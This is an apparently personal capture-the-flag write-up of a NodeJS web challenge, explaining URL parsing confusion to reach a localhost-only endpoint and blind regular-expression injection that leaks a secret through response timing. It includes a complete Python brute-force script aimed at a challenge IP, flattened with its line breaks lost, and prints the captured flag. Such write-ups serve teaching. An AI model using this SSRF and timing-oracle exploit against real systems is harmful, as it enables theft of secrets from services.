Expressional Rebel was a very entertaining medium web challenge, the solution involved exploiting a url Uconfusion vulnerability along with a regex injection, something I believe most have not tinkered with (at least it wasn't the case for me!)
The vulnerable application was written in NodeJS, in this case we are provided the source code, which was crucial for this kind of challenge or it would've been pretty insane to solve!
Let's dig through some of the code of the challenge and identify vulnerabilities.
Endpoints
There are two interesting endpoints in this application, the first one in api.js:
This endpoint validates the secret which in this case is the flag. We can see that this endpint has a isLocal middleware, this checks that the request is coming from localhost with the following function:
URL confusion is a vulnerability which arises from the non-standardized implementations of url parsing functions. In this case we want to make sure that isLocalhost does not resolve our URL to have a localhost hostname, however that the httpGet functionality actually reaches 127.0.0.1
Is there a way we can get information about env.FLAG while controlling only secret?
It turns out we can use complex regexes and the response time give us information about whether we got partial of the secret correctly. If you wanna learn more about this vulnerability I suggest you read: https://diary.shift-js.info/blind-regular-expression-injection/ . It explains this in great detail.
Using this technique we can bruteforce the flag character by character, using our SSRF to call the endpoint.
Here is the script I ended up using, mostly by modifying a PoC from the aforementioned blog post.
import requestsimport randomimport stringimport reENDPOINT ="http://139.59.189.31:30334"INITIAL ="HTB{"# constantsTHRESHOLD =2# predicatesdeflength_is(n):return".{"+str(n)+"}$"defnth_char_is(n,c):return".{"+str(n-1)+"}"+ re.escape(c)+".*$"# utilitiesdefredos_if(regexp,salt):return"^(?={})(((.*)*)*)*{}".format(regexp, salt)defget_request_duration(payload): payload ={ "csp": "img-src https: data:;foobar-src 'foobar'; report-uri http:\\\/127.0.0.1:1337/deactivate?secretCode={}".format(payload)
} r = requests.post(ENDPOINT +"/api/evaluate", json=payload)print(r.elapsed.total_seconds())return r.elapsed.total_seconds()defprop_holds(prop,salt):returnget_request_duration(redos_if(prop, salt))> THRESHOLDdefgenerate_salt():return''.join([random.choice(string.ascii_letters) for i inrange(10)])# exploitif__name__=='__main__':# generating salt salt =generate_salt()whilenotprop_holds('.*', salt): salt =generate_salt()print("[+] salt: {}".format(salt))# leak length upper_bound =100 secret_length =0for i inrange(0, upper_bound):ifprop_holds(length_is(i), salt): secret_length = i print("[+] length: {}".format(secret_length)) S = string.printable black ="#&;," secret = INITIALfor i inrange(4, secret_length):for c in S:if c in black:continueifprop_holds(nth_char_is(i+1, c), salt): secret += cprint("[*] {}".format(secret))print("[+] secret: {}".format(secret))
I'm sure you could optimize this script quite a bit, however after some time I got the flag!
HTB{b4cKtR4ck1ng_4Nd_P4rs3Rs_4r3_fuNnY}
Conclusion
This was a really nice challenge that touched on some vulnerabilities which were pretty unknown to me. I hope you enjoyed it as much as I did and I hope you found this blogpost useful!